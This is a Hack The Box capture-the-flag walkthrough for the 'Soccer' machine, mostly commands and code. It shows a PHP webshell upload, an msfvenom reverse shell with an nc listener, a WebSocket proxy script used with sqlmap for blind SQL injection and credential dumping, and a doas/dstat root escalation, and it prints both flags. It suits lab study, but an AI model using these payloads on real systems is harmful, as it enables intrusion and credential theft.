Hack the Box (HTB) – Soccer

Level: Easy

User Flag

💡 Add soccer.htb to your /etc/hosts file.

Nmap scan

IP=10.10.11.194
nmap -T5 -v -Pn -n -sT -sC -sV -p 1-65535 --max-parallelism 10 $IP -oA nmap-tcp-allports-${IP}-$(date '+%Y.%m.%d.%Hh%M')
Nmap scan report for 10.10.11.194
Host is up (0.062s latency).
Not shown: 64948 closed tcp ports (conn-refused), 584 filtered tcp ports (no-response)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
|   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_  256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request                                                                                                                             
|     Connection: close                                                                                                                                    
|   GetRequest:                                                                                                                                            
|     HTTP/1.1 404 Not Found                                                                                                                               
|     Content-Security-Policy: default-src 'none'                                                                                                          
|     X-Content-Type-Options: nosniff                                                                                                                      
|     Content-Type: text/html; charset=utf-8                                                                                                               
|     Content-Length: 139                                                                                                                                  
|     Date: Wed, 08 Mar 2023 15:40:48 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Wed, 08 Mar 2023 15:40:48 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data.
[...]

We find open ports:

  • 80 for HTTP
  • 22 for SSH
  • 9091 for an unidentified service (will be used later)

Enumeration of port 80 (HTTP)

gobuster dir -u http://soccer.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -t 50

We find “/tiny”. Using a web browser, access http://soccer.htb/tiny/. We find a Tiny File Manager login page.

Exploit Tiny File Manager

Login at http://soccer.htb/tiny/ using default credentials “admin/admin@123” (found with a Google search).

The version of Tiny File Manager is displayed on the bottom right corner of the page. Version is 2.4.3. Some exploits exist on Exploit-DB. However, none worked (even with modifications of the path).

❗ Uploads in the root directory do not work.

  • Go into the tiny/uploads directory and click “New Item”.
  • Click on Folder and name it “test”. Uploading in this directory will prevent your files from being deleted automatically.
  • Create a file “webshell.php” locally and upload it in the tiny/uploads/test directory.
  • Click on Upload and select “webshell.php”.
<?php passthru($_REQUEST[c]); ?>

Access the webshell at http://soccer.htb/tiny/uploads/test/webshell.php?c=whoami

Upgrade from webshell to reverse shell

Generate a reverse shell payload using Msfvenom.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<KALI IP> LPORT=4444 -f elf > myprecious.elf
  • Upload the file in /tiny/uploads/test using Tiny File Manager.
  • Click on the file permissions and add the Execute permission. Click Change.

Start a listener

nc -lnvp 4444

Execute the reverse shell payload

http://soccer.htb/tiny/uploads/test/webshell.php?c=./myprecious.elf

The listener receives a connection as user www-data.

From user “www-data” to “player”

Upgrade to TTY

python3 -c 'import pty;pty.spawn("/bin/bash")'

Upload Linpeas using the Tiny File Manager.

cd /var/www/html/tiny/uploads/test
chmod u+x linpeas.sh
./linpeas.sh > linpeas.txt

You can download linpeas.txt from Tiny File Manager to investigate.

From linpeas’ output, we find a subdomain soc-player.soccer.htb. Add it to your /etc/hosts file.

10.10.11.194    soccer.htb
10.10.11.194    soc-player.soccer.htb
  • Access http://soc-player.soccer.htb using a web browser.
  • Signup with any email address from the subdomain and try to login (e.g. test@soc-player.soccer.htb). It will not work with email addresses from other domains.
  • Inspect requests using Burp Suite.

We find that the web application uses websockets on port 9091. A message is sent to the websocket from http://soc-player.soccer.htb/check:

{"id":"123"}

By manually fuzzing with the Ticket Id in the web application, we find a SQL Injection. The usual response is “Ticket Doesn’t Exist”, but this payload returns “Ticket Exists”:

{"id":"1 or 1=1 -- "}

Since this is a blind SQL injection (no output), use SQLmap.

❗ SQLmap does not work as expected (even when using “ws://soc-player.soccer.htb:9091/?id=123”). We need to create an HTTP proxy. See Automating Blind SQL injection over WebSocket.

server.py

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091/"

def send_ws(payload):
        ws = create_connection(ws_server)
        # If the server returns a response on connect, use below line
        #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here

        # For our case, format the payload in JSON
        message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
        data = '{"id":"%s"}' % message

        ws.send(data)
        resp = ws.recv()
        ws.close()

        if resp:
                return resp
        else:
                return ''

def middleware_server(host_port,content_type="text/plain"):

        class CustomHandler(SimpleHTTPRequestHandler):
                def do_GET(self) -> None:
                        self.send_response(200)
                        try:
                                payload = urlparse(self.path).query.split('=',1)[1]
                        except IndexError:
                                payload = False

                        if payload:
                                content = send_ws(payload)
                        else:
                                content = 'No parameters specified!'

                        self.send_header("Content-type", content_type)
                        self.end_headers()
                        self.wfile.write(content.encode())
                        return

        class _TCPServer(TCPServer):
                allow_reuse_address = True

        httpd = _TCPServer(host_port, CustomHandler)
        httpd.serve_forever()

print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
        middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
        pass

Start the HTTP proxy and run SQLmap

❗ This step is really slow. Be patient.

python3 server.py
sqlmap -u "http://localhost:8081/?id=1" --batch --dbs

We find a list of databases.

available databases [5]:
[*] information_schema
[*] myszla
[*] performance_schema
[*] soccer_db
[*] sys

Dump the soccer_db database:

sqlmap -u "http://localhost:8081/?id=1" --batch --dbms=mysql --dump -D soccer_db
id,email,password,username
1324,player@player.htb,PlayerOftheMatch2022,player

We find credentials “player/PlayerOftheMatch2022”. Try reusing these credentials with SSH:

ssh player@10.10.11.194
[PlayerOftheMatch2022]
cd /home/player
cat user.txt

FLAG: c7b6a2043e61aace80c043f611d5f9b1

Root Flag

From linpeas’ output (previously ran as www-data), there is an interesting file “/usr/local/bin/doas” on the machine:

                                         ╔═══════════════════╗
═════════════════════════════════════════╣ Interesting Files ╠═════════════════════════════════════════                                                    
                                         ╚═══════════════════╝                                                                                             
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                                                           
-rwsr-xr-x 1 root root 42K Nov 17 09:09 /usr/local/bin/doas

The utility “doas” is like a lighter version of sudo. Configuration file is usually in /etc/doas.conf, but was not at this location on the machine.

find / -name doas.conf
/usr/local/etc/doas.conf

Check which commands are allowed:

cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

The dstat command is allowed as root for user player. See GTFObins for techniques to elevate privileges (see sudo section).

echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
doas -u root /usr/bin/dstat --xxx

We get a shell as the root user.

/usr/bin/bash
cd /root
cat root.txt

FLAG: 0ba08f85c0be6abdb1ffa2aeb6f8eaa9